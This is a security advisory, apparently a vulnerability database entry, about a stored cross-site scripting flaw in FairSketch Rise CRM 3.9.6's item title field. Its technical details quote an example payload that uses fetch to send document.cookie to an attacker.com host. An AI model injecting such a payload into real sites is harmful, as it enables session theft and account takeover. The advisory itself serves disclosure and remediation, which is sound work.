Description

FairSketch Rise CRM Version 3.9.6 is vulnerable to Cross Site Scripting (XSS). An authenticated administrator can inject arbitrary JavaScript into an item's title, which is stored server-side and executed in the browser of any client user who visits the store page, enabling session hijacking, account takeover, and phishing.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "5.4",
  "pubDate": "2026-09-10T22:16:55.970Z",
  "pubdate": "2026-09-10T22:16:55.970Z",
  "executiveSummary": "FairSketch Rise CRM version 3.9.6 contains a stored Cross-Site Scripting (XSS) vulnerability residing within the item management functionality. This security flaw allows an authenticated administrator to inject arbitrary malicious JavaScript into an item's title field. Because this input is stored server-side without adequate sanitization or output encoding, it is subsequently rendered by the browser of any client user who accesses the compromised store page.\nThe vulnerability poses a severe risk to the confidentiality and integrity of user sessions. Successful exploitation allows an attacker to execute malicious scripts within the security context of a victim's browser session. This can lead to unauthorized session hijacking, account takeover, the redirection of users to malicious phishing domains, and the theft of sensitive session tokens or data. Given that the payload is persistent, the vulnerability represents a significant threat to all users browsing the affected storefront, necessitating immediate remediation through input validation and strict output escaping practices.",
  "technicalDetails": "The vulnerability is a classic Stored Cross-Site Scripting (XSS) flaw, which occurs due to the improper handling of user-supplied data within the FairSketch Rise CRM application. Specifically, the application fails to perform sufficient server-side input validation or context-aware output encoding on the 'item title' field during the persistence phase of data entry. When an administrative user submits an item title containing malicious JavaScript payloads, the backend application stores this payload directly into the database without sanitizing the input to neutralize executable tags or attributes.\nThe attack flow begins when an authenticated administrator interacts with the item creation or editing interface. The attacker inputs a crafted script, such as <script>fetch('https://attacker.com/'+document.cookie)</script>, into the title field. Upon submission, the CRM system saves this data directly to the underlying database. The vulnerability is activated when a legitimate client user navigates to the storefront or the specific view page where the item list is dynamically rendered. The server retrieves the malicious payload from the database and embeds it into the HTML response delivered to the client's browser. The victim's browser, interpreting the content as legitimate executable code rather than plain text, executes the script in the context of the current session.\nThe lack of appropriate Content Security Policy (CSP) headers or effective input filtering mechanisms facilitates this exploitation. Because the malicious code is persistent, any user who views the affected item page acts as a potential victim, allowing the attacker to perform actions on behalf of the user, steal session identifiers, or manipulate the Document Object Model (DOM) to present fraudulent content (phishing). The impact is high, as the script executes with the same origin permissions as the victim, allowing it to bypass standard Same-Origin Policy (SOP) protections regarding DOM access and cookie retrieval if not explicitly protected by HttpOnly flags. The reliance on administrative authentication for the initial injection does not mitigate the severity, as administrative accounts are primary targets for compromise, and once breached, they grant an attacker the ability to weaponize the system against the broader user base.\nThis vulnerability specifically affects FairSketch Rise CRM version 3.9.6. It is categorized under CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)."
}